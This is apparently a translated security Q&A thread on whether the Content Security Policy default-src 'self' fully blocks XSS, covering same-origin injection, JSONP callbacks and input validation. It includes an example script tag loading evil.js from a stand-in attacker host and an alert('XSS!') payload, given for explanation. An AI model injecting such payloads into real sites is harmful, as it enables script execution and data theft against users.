XSS - 内容安全策略

Question

将内容安全策略设置为default-src 'self'可以100%防止XSS吗？在这种情况下，XSS是否有可能发生？我能想到的一种可能性是在服务器端动态地将用户输入注入到其中一个脚本中，您同意吗？您还能想到其他漏洞吗？

- John L.

Answer 1

不，内容安全策略不是万能的。它应该作为防御的一部分，而不是全部防御。如果正确配置，它可以帮助：

- 防止可用的跨站脚本攻击，其中负载（无论是持久化还是反射）必须很小，因此通常只会创建一个脚本元素并注入外部代码。 - 避免数据提取和滥用，以及将其用作攻击其他网站的平台。根据您的应用程序如何工作，访问后端服务可能足以提取数据，例如，如果您的用户可以写博客文章，攻击者可以使用所需的数据创建新文章，等待信号表明已获取数据（例如通过评论），然后删除该文章，所有这些都没有与外部服务器通信。

- Aurelia

---

你有没有一个例子，展示即使默认-src 'self' CSP被支持，恶意JS如何最终在浏览器中运行的？ - John L.

通常注入部分不使用外部资源。 持久性XSS仅是您的数据库输出某人的JS，但仍然是您的来源。 反射型XSS通常是通过请求参数或请求正文内容注入的，同样，您的服务器也是提供Javascript的服务器。 如果您可以注入<script src =“https：//evil-server.example.org/ evil.js”> </ script>，则也可以注入<script> alert（'XSS！'）</ script>，其中警报可以由evil.js的内容替换。 - Aurelia

以上所述的示例都不会触发default-src 'self'。 - oreoshake

除了警报之外。我的观点是，如果您可以反映具有src的脚本标记，则可能可以对整个恶意脚本执行相同操作。 - Aurelia

Answer 2

回答这个问题，是的，一个带有default-src 'self'的现代浏览器仍然可以执行用户控制的javascript：JSONP。

特别需要注意的是我们的源列表中缺少self。虽然从self获取JavaScript似乎相对安全（并且非常普遍），但应尽可能避免使用它。

当允许自身作为脚本来源时，任何开发人员都必须关注边缘情况。可能会存在一个忘记对回调函数名称进行过滤的JSONP端点。

来自http://githubengineering.com/githubs-csp-journey/。

- oreoshake

Answer 3

CSP不应该作为防止XSS攻击的唯一方式。这种机制仅在客户端有效（如果您将恶意数据保存到数据库中，则可能开始感染与之集成的其他系统），而且并非所有浏览器都实现了它（http://caniuse.com/#search=csp）。

要防止XSS攻击，您应该始终验证输入数据并对输出数据进行编码。您还可以在JavaScript控制台中打印警告消息，以防止某种程度上的Self-XSS攻击（例如打开Facebook页面并打开Chrome开发人员工具-查看控制台中的消息）。

请记住，在网站上的用户输入并不是XSS的唯一来源。恶意数据也可以来自以下几个方面：

1. 从文件导入数据
2. 从第三方系统导入数据
3. 从旧系统迁移数据。
4. Cookie和HTTP头。

如果您具有适当的数据验证和编码（服务器端），则可以另外应用浏览器机制，例如：CSP、X-XSS-Protection或X-Content-Type-Options，以增加对系统安全性的信心。

- cezarypiatek

---

我们在谈论什么样的启发式算法？如果您正确设置规则，就没有太多解释的余地。这基本上就是网络SPF。 - Aurelia

感谢您的关注。我已经更正了我的回答。X-XSS-Protection 基于启发式而不是 CSP。 - cezarypiatek

你有没有一个示例，说明即使默认-src 'self' CSP，恶意JS仍然可以在浏览器上运行？（当然，假设浏览器支持CSP） - John L.

我没有JS代码的示例，但XSS不仅限于JS。例如，攻击者可以向您的表单中注入隐藏字段并覆盖用户提供的值。 - cezarypiatek